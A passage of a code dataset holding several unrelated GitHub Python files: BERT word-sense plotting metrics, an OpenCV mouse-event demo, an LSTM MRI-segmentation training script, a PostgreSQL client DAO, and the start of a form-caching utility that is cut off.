stats\nfrom adjustText import adjust_text\n\ndef euc_dist(v1, v2):\n if type(v1) == torch.Tensor:\n v1 = v1.numpy()\n if type(v2) == torch.Tensor:\n v2 = v2.numpy()\n return np.sqrt(np.sum((v1 - v2)**2))\n\ndef find_closest_distance(e1_lst, e2_lst, fn):\n #fn can be either np.mean or minimum\n return fn([min([euc_dist(e1, e2) for e2 in e2_lst]) for e1 in e1_lst])\n\ndef centroid(arr):\n arr = lst_to_np(arr)\n length, dim = arr.shape\n return np.array([np.sum(arr[:, i])/length for i in range(dim)])\n\ndef lst_to_np(arr):\n return np.array([t.numpy() for t in arr])\n\ndef cosine_sim(v1, v2):\n return np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2))\n\ndef cs_centroids(s1, s2):\n return cosine_sim(centroid(s1), centroid(s2))\n\ndef dist_centroids(s1, s2):\n return euc_dist(centroid(s1), centroid(s2))\n\ndef get_word_senses_ri(folder_name):\n embed_fpath = os.path.join('data', 'pipeline_results', folder_name + '.json')\n with open(embed_fpath, 'r') as embeds:\n embed_json = json.load(embeds)\n num_senses = len(embed_json['sense_names'])\n gmm_fpath = os.path.join('data', 'clustering_results', folder_name, 'gmm_results.json')\n with open(gmm_fpath, 'r') as ri:\n ri_pca = json.load(ri)\n return num_senses, ri_pca\n\ndef check_for_embedding_data(word, pos):\n fname = word + '_' + pos + '.json'\n if fname in os.listdir(os.path.join('data', 'pipeline_results')):\n return 1\n else:\n return 0\n\ndef plot_metric_ri(x_col, df, method, dims):\n plt.subplots()\n plt.scatter(df[x_col], df['Random Mean_' + method], label = 'random')\n plt.scatter(df[x_col], df['WordNet Mean_' + method], label = 'WN Senses', alpha = 0.3)\n plt.xlabel(x_col)\n plt.ylabel(\"Rand Index\")\n plt.title(\"Rand Scores for GMMs fitted to \" + method.upper() + \" Embeddings \" + \"vs. \" + x_col + '(' + dims + ')')\n plt.legend()\n\ndef plot_dim_metric_method_combos(two_pc, three_pc, fn):\n for d in ['2D', '3D']:\n for m in ['pca', 'tsne']:\n for v in ['entropy', 'num_senses']:\n if d == '2D':\n fn(v, two_pc, m, d)\n else:\n fn(v, three_pc, m, d)\n\ndef get_sample(two_pc, three_pc, num_words):\n two_sample = two_pc.sample(num_words)\n three_sample = three_pc[three_pc['Lemma'].isin(two_sample['Lemma'])]\n return two_sample, three_sample\n\ndef scatter_gmm_results_text(x_col, df, method, dims):\n #plt.scatter(ent, df['Random Mean_' + method], label = 'random')\n x = df[x_col]\n y = df['WordNet Mean_' + method]\n labels = df['Lemma']\n #plt.subplots()\n plt.figure(figsize = (10, 8))\n \n plt.scatter(x, y)\n texts = []\n i = 0\n for x, y, s in zip(x, y, labels):\n texts.append(plt.text(x, y, s))\n plt.xlabel(x_col)\n plt.ylabel(\"Rand Index\")\n plt.title(\"Rand Scores for GMMs fitted to \" + method.upper() + \" Embeddings \" + \"vs. \" + x_col + '(' + dims + ')')\n \n adjust_text(texts, force_points=0.2, force_text=0.2,\n expand_points=(1, 1), expand_text=(1, 1),\n arrowprops=dict(arrowstyle=\"-\", color='black', lw=0.5))\n\n\ndef get_corr_words():\n df = pd.read_csv('data/semcor_sparsity.csv')\n words_with_data = []\n for i in range(len(df.index)):\n row = df.iloc[i]\n word, pos = row['word'], row['pos']\n folder_name = word + '_' + pos\n #fname = word + '_' + pos + '.json'\n #dir_name = os.path.join(\"data\", 'pipeline_results', word + '_' + pos + '.json')\n if check_for_embedding_data(word, pos):\n words_with_data.append(folder_name)\n return words_with_data\n\ndef compute_correlation(corr_dict, key):\n num_senses = corr_dict[key]['num_senses']\n gmm = corr_dict[key]['gmm_ari']\n random = corr_dict[key]['random_ari']\n corr_dict[key]['pearson_gmm'] = stats.pearsonr(num_senses, gmm)[0]\n corr_dict[key]['spearman_gmm'] = stats.spearmanr(num_senses, gmm)[0]\n corr_dict[key]['pearson_random'] = stats.pearsonr(num_senses, random)[0]\n corr_dict[key]['spearman_random'] = stats.spearmanr(num_senses, random)[0]\n\ndef plot_correlation(corr_dict, max_pcs):\n random_sp, random_pe, gmm_sp, gmm_pe = [], [], [], []\n for k in corr_dict:\n pc_data = corr_dict[k]\n random_sp.append(pc_data['spearman_random'])\n random_pe.append(pc_data['pearson_random'])\n gmm_sp.append(pc_data['spearman_gmm'])\n gmm_pe.append(pc_data['pearson_gmm'])\n num_pcs = np.arange(2, max_pcs)\n plt.figure(figsize = (8, 6))\n plt.subplot(1, 2, 1)\n plt.plot(num_pcs, random_sp, label = \"Random Baseline\")\n plt.plot(num_pcs, gmm_sp, label = \"WordNet Senses\")\n plt.xlabel(\"Principle Components of BERT Embeddings\")\n plt.ylabel(\"Correlation Coefficient\")\n plt.title(\"Spearman Correlation\")\n plt.subplot(1, 2, 2)\n plt.plot(num_pcs, random_pe, label = \"Random Baseline\")\n plt.plot(num_pcs, gmm_pe, label = \"WordNet Senses\")\n plt.xlabel(\"Principle Components of BERT Embeddings\")\n plt.ylabel(\"Correlation Coefficient\")\n plt.title(\"Pearson Correlation\")\n plt.legend()","repo_name":"sathvikn/bert-wordsense","sub_path":"codebase/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":5240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27873603059","text":"\"\"\"\nDraw circles using the mouse events in OpenCV\ndouble click To draw a circle\npage 127\nExample to show how to capture mouse events with matplotlib to draw a\ncircle\nhttps://www.youtube.com/watch?v=rrh-4NtuK-w&list=PLS1QulWo1RIa7D1O6skqDQ-JZ1GGHKK-K&index=9\nhttps://gist.github.com/pknowledge/a17bd66aa7a68ea4a74d0cbc52193c5c\n\"\"\"\n\n# Import required packages:\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\n\n# We create the canvas to draw: 400 x 400 pixels, 3 channels, uint8 (8-bit unsigned integers)\n# We set the background to black using np.zeros():\nimage = np.zeros((400, 400, 3), dtype=\"uint8\")\n\n# If you want another background color you can do the following:\nimage[:] = (220, 220, 220)\nrandColor = np.random.randint(0, high=256, size=(3,)).tolist()\n\ndef update_img_with_matplotlib():\n \"\"\"Updates an image using matplotlib capabilities\"\"\"\n\n # Convert BGR to RGB image format:\n img_RGB = image[:, :, ::-1]\n\n # Display the image:\n plt.imshow(img_RGB)\n\n # Redraw the Figure because the image has been updated:\n figure.canvas.draw()\n\n\n# We define the event listener for the 'button_press_event':\ndef click_mouse_event(event):\n # (event.xdata, event.ydata) contain the float coordinates of the mouse\n # click event:\n cv2.circle(image, (int(round(event.xdata)), int(round(event.ydata))),\n 5,(250,0,0), cv2.FILLED)\n # Call 'update_image()' method to update the Figure:\n update_img_with_matplotlib()\n print((event))\n\nevents = [i for i in dir(cv2) if 'EVENT' in i]\nprint(events)\n\n\n# We create the Figure:\nfigure = plt.figure()\nfigure.add_subplot(111)\n\n# To show the image until a click is performed:\nupdate_img_with_matplotlib()\n\n# 'button_press_event' is a MouseEvent where a mouse button is click (pressed)\n# When this event happens the function 'click_mouse_event' is called:\nfigure.canvas.mpl_connect('button_press_event', click_mouse_event)\n\n# Display the figure:\nplt.show()\n","repo_name":"danizalm05/python01","sub_path":"opencv/murtazaNew/basic/mouse_events_matplotlib.py","file_name":"mouse_events_matplotlib.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4415842910","text":"import torch \r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom RNN import ConvLSTM, BiConvLSTM, DenseBiConvLSTM, LSTMSegNet\r\nfrom BackLSTM import BackLSTM\r\nfrom CenterLSTM import CenterLSTM, BiCenterLSTM\r\nfrom DirectCenterLSTM import DirectCenterLSTM, BiDirectCenterLSTM\r\nfrom ResCenterLSTM import ResCenterLSTM, BiResCenterLSTM\r\nfrom ShortcutLSTM import ShortcutLSTM\r\nfrom data_prepara import data_split, data_construction, time_parser, data_loader, distributed_is_initialized\r\nfrom utils import load_config, save_ckp, load_ckp, logfile, loss_plot, heatmap_plot\r\nfrom metrics import dice_coe, dice, binary_dice\r\nfrom loss import DiceLoss, GneralizedDiceLoss, WeightedCrossEntropyLoss, DiceLossLSTM\r\nimport json\r\nimport numpy as np \r\nimport shutil\r\nimport warnings\r\nimport time\r\nimport argparse\r\nfrom tqdm import tqdm \r\nimport os\r\nfrom apex import amp \r\nfrom tensorboardX import SummaryWriter\r\nfrom torchsummary import summary\r\n\r\n\r\ndef train(args):\r\n\r\n torch.cuda.manual_seed(1)\r\n torch.manual_seed(1)\r\n\r\n # user defined parameters\r\n model_name = args.model_name \r\n model_type = args.model_type\r\n lstm_backbone = args.lstmbase\r\n unet_backbone = args.unetbase\r\n layer_num = args.layer_num\r\n nb_shortcut = args.nb_shortcut\r\n loss_fn = args.loss_fn\r\n world_size = args.world_size\r\n rank = args.rank\r\n base_channel = args.base_channels\r\n crop_size = args.crop_size\r\n ignore_idx = args.ignore_idx\r\n return_sequence = args.return_sequence\r\n variant = args.LSTM_variant\r\n epochs = args.epoch\r\n is_pretrain = args.is_pretrain\r\n\r\n # system setup parameters\r\n config_file = 'config.yaml'\r\n config = load_config(config_file)\r\n labels = config['PARAMETERS']['labels']\r\n root_path = config['PATH']['model_root']\r\n model_dir = config['PATH']['save_ckp']\r\n best_dir = config['PATH']['save_best_model']\r\n\r\n input_modalites = int(config['PARAMETERS']['input_modalites'])\r\n output_channels = int(config['PARAMETERS']['output_channels'])\r\n batch_size = int(config['PARAMETERS']['batch_size'])\r\n is_best = bool(config['PARAMETERS']['is_best'])\r\n is_resume = bool(config['PARAMETERS']['resume'])\r\n patience = int(config['PARAMETERS']['patience'])\r\n time_step = int(config['PARAMETERS']['time_step'])\r\n num_workers = int(config['PARAMETERS']['num_workers'])\r\n early_stop_patience = int(config['PARAMETERS']['early_stop_patience'])\r\n lr = int(config['PARAMETERS']['lr'])\r\n optimizer = config['PARAMETERS']['optimizer']\r\n connect = config['PARAMETERS']['connect']\r\n conv_type = config['PARAMETERS']['lstm_convtype']\r\n\r\n\r\n # build up dirs\r\n model_path = os.path.join(root_path, model_dir)\r\n best_path = os.path.join(root_path, best_dir)\r\n intermidiate_data_save = os.path.join(root_path, 'train_newdata',model_name)\r\n train_info_file = os.path.join(intermidiate_data_save, '{}_train_info.json'.format(model_name))\r\n log_path = os.path.join(root_path, 'logfiles')\r\n\r\n if not os.path.exists(model_path):\r\n os.mkdir(model_path)\r\n if not os.path.exists(best_path):\r\n os.mkdir(best_path)\r\n if not os.path.exists(intermidiate_data_save):\r\n os.makedirs(intermidiate_data_save)\r\n if not os.path.exists(log_path):\r\n os.mkdir(log_path)\r\n\r\n log_name = model_name + '_' + config['PATH']['log_file'] \r\n logger = logfile(os.path.join(log_path, log_name))\r\n logger.info('labels {} are ignored'.format(ignore_idx))\r\n logger.info('Dataset is loading ...')\r\n writer = SummaryWriter('ProcessVisu/%s' %model_name)\r\n\r\n \r\n # load training set and validation set\r\n data_class = data_split()\r\n train, val, test = data_construction(data_class)\r\n train_dict = time_parser(train, time_patch=time_step)\r\n val_dict = time_parser(val, time_patch=time_step)\r\n\r\n\r\n # LSTM initilization\r\n\r\n if model_type == 'LSTM':\r\n net = LSTMSegNet(lstm_backbone=lstm_backbone, input_dim=input_modalites, output_dim=output_channels, hidden_dim=base_channel, kernel_size=3, num_layers=layer_num, conv_type=conv_type, return_sequence=return_sequence)\r\n elif model_type == 'UNet_LSTM':\r\n if variant == 'back':\r\n net = BackLSTM(input_dim=input_modalites, hidden_dim=base_channel, output_dim=output_channels, kernel_size=3, num_layers=layer_num, conv_type=conv_type, lstm_backbone=lstm_backbone, unet_module=unet_backbone, base_channel=base_channel, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n logger.info('the pretrained status of backbone is {}'.format(is_pretrain))\r\n elif variant == 'center':\r\n net = CenterLSTM(input_modalites=input_modalites, output_channels=output_channels, base_channel=base_channel, num_layers=layer_num, conv_type=conv_type, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n elif variant == 'bicenter':\r\n net = BiCenterLSTM(input_modalites=input_modalites, output_channels=output_channels, base_channel=base_channel, num_layers=layer_num, connect=connect, conv_type=conv_type, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n elif variant == 'directcenter':\r\n net = DirectCenterLSTM(input_modalites=input_modalites, output_channels=output_channels, base_channel=base_channel, num_layers=layer_num, conv_type=conv_type, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n elif variant == 'bidirectcenter':\r\n net = BiDirectCenterLSTM(input_modalites=input_modalites, output_channels=output_channels, base_channel=base_channel, num_layers=layer_num, connect=connect, conv_type=conv_type, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n elif variant == 'rescenter':\r\n net = ResCenterLSTM(input_modalites=input_modalites, output_channels=output_channels, base_channel=base_channel, num_layers=layer_num, conv_type=conv_type, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n elif variant == 'birescenter':\r\n net = BiResCenterLSTM(input_modalites=input_modalites, output_channels=output_channels, base_channel=base_channel, num_layers=layer_num, connect=connect, conv_type=conv_type, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n elif variant == 'shortcut':\r\n net = ShortcutLSTM(input_modalites=input_modalites, output_channels=output_channels, base_channel=base_channel, num_layers=layer_num, num_connects=nb_shortcut, conv_type=conv_type, return_sequence=return_sequence, is_pretrain=is_pretrain)\r\n else:\r\n raise NotImplementedError()\r\n\r\n # loss and optimizer setup\r\n if loss_fn == 'Dice':\r\n criterion = DiceLoss(labels=labels, ignore_idx=ignore_idx)\r\n elif loss_fn == 'GDice':\r\n criterion = GneralizedDiceLoss(labels=labels)\r\n elif loss_fn == 'WCE':\r\n criterion = WeightedCrossEntropyLoss(labels=labels)\r\n else:\r\n raise NotImplementedError()\r\n\r\n if optimizer == 'adam':\r\n optimizer = optim.Adam(net.parameters(), lr=0.001)\r\n # optimizer = optim.Adam(net.parameters())\r\n elif optimizer == 'sgd':\r\n optimizer = optim.SGD(net.parameters(), momentum=0.9, lr=lr)\r\n scheduler = optim.lr_scheduler.ReduceLROnPlateau(optimizer, verbose=True, patience=patience)\r\n\r\n # device setup\r\n device = 'cuda:0' if torch.cuda.is_available() else 'cpu'\r\n # net, optimizer = amp.initialize(net, optimizer, opt_level=\"O1\")\r\n\r\n if torch.cuda.device_count() > 1:\r\n torch.distributed.init_process_group(backend='nccl', init_method='tcp://127.0.0.1:38366', rank=rank, world_size=world_size)\r\n if distributed_is_initialized():\r\n print('distributed is initialized')\r\n net.to(device)\r\n net = nn.parallel.DistributedDataParallel(net, find_unused_parameters=True)\r\n else:\r\n print('data parallel')\r\n net = nn.DataParallel(net)\r\n net.to(device)\r\n\r\n\r\n min_loss = float('Inf')\r\n early_stop_count = 0\r\n global_step = 0\r\n start_epoch = 0\r\n start_loss = 0\r\n train_info = {'train_loss':[], \r\n 'val_loss':[],\r\n 'label_0_acc':[],\r\n 'label_1_acc':[],\r\n 'label_2_acc':[],\r\n 'label_3_acc':[],\r\n 'label_4_acc':[]}\r\n\r\n if is_resume:\r\n try: \r\n # open previous check points\r\n ckp_path = os.path.join(model_path, '{}_model_ckp.pth.tar'.format(model_name))\r\n net, optimizer, scheduler, start_epoch, min_loss, start_loss = load_ckp(ckp_path, net, optimizer, scheduler)\r\n\r\n # open previous training records\r\n with open(train_info_file) as f:\r\n train_info = json.load(f)\r\n \r\n\r\n logger.info('Training loss from last time is {}'.format(start_loss) + '\\n' + 'Mininum training loss from last time is {}'.format(min_loss))\r\n logger.info('Training accuracies from last time are: label 0: {}, label 1: {}, label 2: {}, label 3: {}, label 4: {}'.format(train_info['label_0_acc'][-1], train_info['label_1_acc'][-1], train_info['label_2_acc'][-1], train_info['label_3_acc'][-1], train_info['label_4_acc'][-1]))\r\n\r\n except:\r\n logger.warning('No checkpoint available, strat training from scratch')\r\n\r\n for epoch in range(start_epoch, epochs):\r\n\r\n train_set = data_loader(train_dict, \r\n batch_size=batch_size, \r\n key='train',\r\n num_works=num_workers,\r\n time_step=time_step,\r\n patch=crop_size,\r\n model_type='RNN'\r\n )\r\n n_train = len(train_set)\r\n\r\n val_set = data_loader(val_dict, \r\n batch_size=batch_size, \r\n key='val',\r\n num_works=num_workers,\r\n time_step=time_step,\r\n patch=crop_size,\r\n model_type='CNN'\r\n )\r\n n_val = len(val_set)\r\n\r\n logger.info('Dataset loading finished!')\r\n \r\n nb_batches = np.ceil(n_train/batch_size)\r\n n_total = n_train + n_val\r\n logger.info('{} images will be used in total, {} for trainning and {} for validation'.format(n_total, n_train, n_val))\r\n\r\n\r\n train_loader = train_set.load()\r\n\r\n # setup to train mode\r\n net.train()\r\n running_loss = 0\r\n dice_score_label_0 = 0\r\n dice_score_label_1 = 0\r\n dice_score_label_2 = 0\r\n dice_score_label_3 = 0\r\n dice_score_label_4 = 0\r\n\r\n logger.info('Training epoch {} will begin'.format(epoch+1))\r\n \r\n with tqdm(total=n_train, desc=f'Epoch {epoch+1}/{epochs}', unit='patch') as pbar:\r\n\r\n for i, data in enumerate(train_loader, 0):\r\n \r\n # i : patient\r\n images, segs = data['image'].to(device), data['seg'].to(device)\r\n \r\n outputs = net(images)\r\n loss = criterion(outputs, segs)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n # if i == 0:\r\n # in_images = images.detach().cpu().numpy()[0]\r\n # in_segs = segs.detach().cpu().numpy()[0]\r\n # in_pred = outputs.detach().cpu().numpy()[0]\r\n # heatmap_plot(image=in_images, mask=in_segs, pred=in_pred, name=model_name, epoch=epoch+1, is_train=True)\r\n\r\n running_loss += loss.detach().item()\r\n\r\n outputs = outputs.view(-1, outputs.shape[-4], outputs.shape[-3], outputs.shape[-2], outputs.shape[-1])\r\n segs = segs.view(-1, segs.shape[-3], segs.shape[-2], segs.shape[-1])\r\n _, preds = torch.max(outputs.data, 1)\r\n dice_score = dice(preds.data.cpu(), segs.data.cpu(), ignore_idx=None)\r\n\r\n dice_score_label_0 += dice_score['bg']\r\n dice_score_label_1 += dice_score['csf']\r\n dice_score_label_2 += dice_score['gm']\r\n dice_score_label_3 += dice_score['wm']\r\n dice_score_label_4 += dice_score['tm']\r\n\r\n # show progress bar\r\n pbar.set_postfix(**{'training loss': loss.detach().item(), 'Training accuracy': dice_score['avg']})\r\n pbar.update(images.shape[0])\r\n\r\n global_step += 1\r\n if global_step % nb_batches == 0:\r\n net.eval()\r\n val_loss, val_acc, val_info = validation(net, val_set, criterion, device, batch_size, ignore_idx=None, name=model_name, epoch=epoch+1)\r\n net.train()\r\n\r\n \r\n train_info['train_loss'].append(running_loss / nb_batches)\r\n train_info['val_loss'].append(val_loss)\r\n train_info['label_0_acc'].append(dice_score_label_0 / nb_batches)\r\n train_info['label_1_acc'].append(dice_score_label_1 / nb_batches)\r\n train_info['label_2_acc'].append(dice_score_label_2 / nb_batches)\r\n train_info['label_3_acc'].append(dice_score_label_3 / nb_batches)\r\n train_info['label_4_acc'].append(dice_score_label_4 / nb_batches)\r\n\r\n # save bast trained model\r\n scheduler.step(running_loss / nb_batches)\r\n logger.info('Epoch: {}, LR: {}'.format(epoch+1, optimizer.param_groups[0]['lr']))\r\n\r\n if min_loss > running_loss / nb_batches:\r\n min_loss = running_loss / nb_batches\r\n is_best = True\r\n early_stop_count = 0\r\n else:\r\n is_best = False\r\n early_stop_count += 1\r\n\r\n state = {\r\n 'epoch': epoch+1,\r\n 'model_state_dict': net.state_dict(),\r\n 'optimizer_state_dict': optimizer.state_dict(),\r\n 'scheduler_state_dict': scheduler.state_dict(),\r\n 'loss':running_loss / nb_batches,\r\n 'min_loss': min_loss\r\n }\r\n verbose = save_ckp(state, is_best, early_stop_count=early_stop_count, early_stop_patience=early_stop_patience, save_model_dir=model_path, best_dir=best_path, name=model_name)\r\n\r\n # summarize the training results of this epoch \r\n logger.info('The average training loss for this epoch is {}'.format(running_loss / nb_batches))\r\n logger.info('The best training loss till now is {}'.format(min_loss))\r\n logger.info('Validation dice loss: {}; Validation (avg) accuracy of the last timestep: {}'.format(val_loss, val_acc))\r\n \r\n # save the training info every epoch\r\n logger.info('Writing the training info into file ...')\r\n val_info_file = os.path.join(intermidiate_data_save, '{}_val_info.json'.format(model_name))\r\n with open(train_info_file, 'w') as fp:\r\n json.dump(train_info, fp)\r\n with open(val_info_file, 'w') as fp:\r\n json.dump(val_info, fp)\r\n\r\n for name, layer in net.named_parameters():\r\n if layer.requires_grad:\r\n writer.add_histogram(name + '_grad', layer.grad.cpu().data.numpy(), epoch)\r\n writer.add_histogram(name + '_data', layer.cpu().data.numpy(), epoch)\r\n if verbose:\r\n logger.info('The validation loss has not improved for {} epochs, training will stop here.'.format(early_stop_patience))\r\n break\r\n \r\n loss_plot(train_info_file, name=model_name)\r\n logger.info('finish training!')\r\n \r\n return \r\n\r\ndef validation(trained_net, val_set, criterion, device, batch_size, ignore_idx, name=None, epoch=None):\r\n n_val = len(val_set)\r\n val_loader = val_set.load()\r\n\r\n tot = 0 \r\n acc = 0\r\n dice_score_bg = 0\r\n dice_score_wm = 0\r\n dice_score_gm = 0\r\n dice_score_csf = 0\r\n dice_score_tm = 0\r\n\r\n val_info = {\r\n 'bg':[],\r\n 'wm':[],\r\n 'gm':[],\r\n 'csf':[],\r\n 'tm':[]}\r\n\r\n with tqdm(total=n_val, desc='Validation round', unit='patch', leave=False) as pbar:\r\n with torch.no_grad():\r\n for i, sample in enumerate(val_loader):\r\n images, segs = sample['image'].to(device=device), sample['seg'].to(device=device)\r\n\r\n outputs = trained_net(images)\r\n val_loss = criterion(outputs, segs)\r\n\r\n if i == 0:\r\n in_images = images.detach().cpu().numpy()[0]\r\n in_segs = segs.detach().cpu().numpy()[0]\r\n in_pred = outputs.detach().cpu().numpy()[0]\r\n heatmap_plot(image=in_images, mask=in_segs, pred=in_pred, name=name, epoch=epoch, is_train=False)\r\n\r\n outputs = outputs.view(-1, outputs.shape[-4], outputs.shape[-3], outputs.shape[-2], outputs.shape[-1])\r\n segs = segs.view(-1, segs.shape[-3], segs.shape[-2], segs.shape[-1])\r\n \r\n _, preds = torch.max(outputs.data, 1)\r\n dice_score = dice(preds.data.cpu(), segs.data.cpu(), ignore_idx=ignore_idx)\r\n\r\n dice_score_bg += dice_score['bg']\r\n dice_score_wm += dice_score['wm']\r\n dice_score_gm += dice_score['gm']\r\n dice_score_csf += dice_score['csf']\r\n dice_score_tm += dice_score['tm']\r\n\r\n tot += val_loss.detach().item() \r\n acc += dice_score['avg']\r\n\r\n pbar.set_postfix(**{'validation loss (images)': val_loss.detach().item(), 'val_acc_avg':dice_score['avg']})\r\n pbar.update(images.shape[0])\r\n\r\n val_info['bg'] = dice_score_bg / (np.ceil(n_val/batch_size))\r\n val_info['wm'] = dice_score_wm / (np.ceil(n_val/batch_size))\r\n val_info['gm'] = dice_score_gm / (np.ceil(n_val/batch_size)) \r\n val_info['csf'] = dice_score_csf / (np.ceil(n_val/batch_size))\r\n val_info['tm'] = dice_score_tm / (np.ceil(n_val/batch_size))\r\n\r\n return tot/(np.ceil(n_val/batch_size)), acc/(np.ceil(n_val/batch_size)), val_info\r\n\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('-name', '--model_name', default='bclstm', type=str, help='model name')\r\n parser.add_argument('-type', '--model_type', default='LSTM', type=str, help='model type to be implemented: LSTM, UNet_LSTM')\r\n parser.add_argument('-lstmbase', '--lstmbase', default='ConvLSTM', type=str, help='RNN model type, \"BiConvLSTM\", \"ConvLSTM\", \"DenseBiLSTM\"')\r\n parser.add_argument('-unetbase', '--unetbase', default='UNet', type=str, help='backbone type, UNet, direct-UNet, ResUNet, DResUNet')\r\n parser.add_argument('-layer', '--layer_num', default=1, type=int, help='stack numebr of RNN')\r\n parser.add_argument('-nb_shortcut', '--nb_shortcut', default=1, type=int, help='The number of shortcuts to be connected')\r\n parser.add_argument('-l', '--loss_fn', default='Dice', type=str, help='loss function: GDice, Dice, WCE')\r\n parser.add_argument('-s', '--world_size', default=1, type=int, help='Number of processes participating in the job.')\r\n parser.add_argument('-r', '--rank', default=0, type=int, help='Rank of the current process.')\r\n parser.add_argument('-p', '--crop_size', default=64, type=int, help='image crop patch size')\r\n parser.add_argument('-b', '--base_channels', default=4, type=int, help='U-Net base channel number')\r\n parser.add_argument('-i', '--ignore_idx', default=None, nargs='+', type=int, help='ignore certain label')\r\n parser.add_argument('-return_sequence', '--return_sequence', default=True, type=str, help='LSTM return the whole sequence or only last time step')\r\n parser.add_argument('-variant', '--LSTM_variant', default='back', type=str, help='LSTM combined with UNet, back, center, bicenter, shortcut')\r\n parser.add_argument('-ep', '--epoch', default=300, type=int, help='training epoches')\r\n parser.add_argument('-pretrain', '--is_pretrain', default=True, type=str, help='use pretrained backbone or not')\r\n args = parser.parse_args()\r\n train(args)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"TUDelftHao/4DLongitudinal-MRI-Segmentation-Network","sub_path":"RNN_train.py","file_name":"RNN_train.py","file_ext":"py","file_size_in_byte":20075,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"73408504730","text":"from psycopg2 import IntegrityError\n\nfrom factory.ConnectionFactory import ConnectionFactory\nfrom modelo.Cliente import Cliente\n\n\nclass ClienteDao:\n listado_clientes: list = []\n\n def __init__(self, con: ConnectionFactory):\n self.con = con\n\n def guardar(self, cliente: Cliente):\n try:\n with self.con as conexion:\n with conexion.cursor() as cursor:\n prepared_statement = 'INSERT INTO clientes (nombre, apellido, documento, email, descuento) VALUES (%s, %s, %s, %s, %s)'\n cursor.execute(prepared_statement,\n (cliente.nombre, cliente.apellido, cliente.documento, cliente.email,\n cliente.descuento))\n registros_insertados = cursor.rowcount\n print(f'Se ingresó satisfactoriamente {registros_insertados} registro(s).')\n print(cliente)\n except Exception as e:\n print(f'Ocurrió un error: {e}')\n\n def listar(self):\n clientes: list = []\n try:\n with self.con as conexion:\n with conexion.cursor() as cursor:\n prepared_statement: str = 'SELECT * FROM clientes ORDER BY id_cliente'\n cursor.execute(prepared_statement)\n registros = cursor.fetchall()\n if registros:\n for registro in registros:\n cliente = Cliente(nombre=registro[1], apellido=registro[2], documento=registro[3],\n email=registro[4], descuento=registro[5], codigo=registro[0])\n clientes.append(cliente)\n\n return clientes\n\n except Exception as e:\n print(f'Ocurrió un error: {e}')\n\n def eliminar(self, id_cliente: str):\n try:\n with self.con as conexion:\n with conexion.cursor() as cursor:\n prepared_statement = 'DELETE FROM clientes WHERE id_cliente = %s'\n cursor.execute(prepared_statement, (id_cliente,))\n registros_eliminados = cursor.rowcount\n return registros_eliminados\n # print(f'Se eliminó satisfactoriamente {registros_eliminados} registro(s).')\n # Capturamos la excepcion por foreign key\n except IntegrityError as e:\n return e.pgerror\n\n except Exception as e:\n print(f'Ocurrió un error: {e}')\n\n def actualizar(self, cliente: Cliente):\n try:\n with self.con as conexion:\n with conexion.cursor() as cursor:\n prepared_statement = 'UPDATE clientes SET nombre = %s, apellido = %s, documento = %s, email = %s, descuento = %s WHERE id_cliente = %s'\n cursor.execute(prepared_statement, (\n cliente.nombre, cliente.apellido, cliente.documento, cliente.email, cliente.descuento,\n cliente.codigo))\n registros_actualizados = cursor.rowcount\n print(f'Se actualizó satisfactoriamente {registros_actualizados} registro(s).')\n except Exception as e:\n print(f'Ocurrió un error: {e}')\n\n def buscar_por_id(self, id_cliente):\n try:\n with self.con as conexion:\n with conexion.cursor() as cursor:\n prepared_statement = 'SELECT * FROM clientes WHERE id_cliente = %s'\n cursor.execute(prepared_statement, (id_cliente,))\n registro = cursor.fetchone()\n if registro:\n cliente = Cliente(nombre=registro[1], apellido=registro[2], documento=registro[3],\n email=registro[4], descuento=registro[5], codigo=registro[0])\n return cliente\n except Exception as e:\n print(f'Ocurrió un error: {e}')\n","repo_name":"CodeSystem2022/ProyectoIntegrador_TercerSemestre_UTN_BsAs","sub_path":"dao/ClienteDao.py","file_name":"ClienteDao.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"8802178343","text":"\"\"\"Defines utility functions for caching form items and form results.\"\"\"\r\n\r\nfrom typing import Optional, Union\r\nimport json\r\nimport pandas as pd\r\n\r\nfrom formsite_util.consts import METADATA_COLS\r\n\r\n\r\ndef items_load(path: str) -> Union[dict, None]:\r\n \"\"\"Attempts to load items from a file\r\n\r\n Args:\r\n path (str): Path where the items are stored\r\n\r\n Returns:\r\n Optional[dict]: Items dict or None if not found\r\n \"\"\"\r\n try:\r\n with open(path, \"r\", encoding=\"utf-8\") as fp:\r\n return json.load(fp)\r\n except FileNotFoundError:\r\n return None\r\n\r\n\r\ndef items_save(items: dict, path: str):\r\n \"\"\"Saves items to a file\r\n\r\n Args:\r\n items (dict): Items dict\r\n path (str): Path where to store the items\r\n \"\"\"\r\n with open(path, \"w\", encoding=\"utf-8\") as fp:\r\n json.dump(items, fp, indent=4)\r\n\r\n\r\ndef items_match_data(items: dict, data_cols: pd.Index) -> bool:\r\n \"\"\"Checks if all items column ids in data exist in items dict ids\r\n\r\n Args:\r\n items (dict): form.items\r\n data_cols (pd.Index): form.data.columns\r\n\r\n Returns:\r\n bool: True if they match each other, False if they do not.\r\n \"\"\"\r\n metadata = set(METADATA_COLS.keys())\r\n results_ids = set(data_cols).difference(metadata)\r\n item_ids = set(i[\"id\"] for i in items[\"items\"])\r\n return len(results_ids.difference(item_ids)) == 0\r\n\r\n\r\ndef results_load(path: str) -> pd.DataFrame:\r\n \"\"\"Loads data in a file located at `path` specified by serialization format (by file extension)\r\n\r\n Args:\r\n path (str): Path where the data is 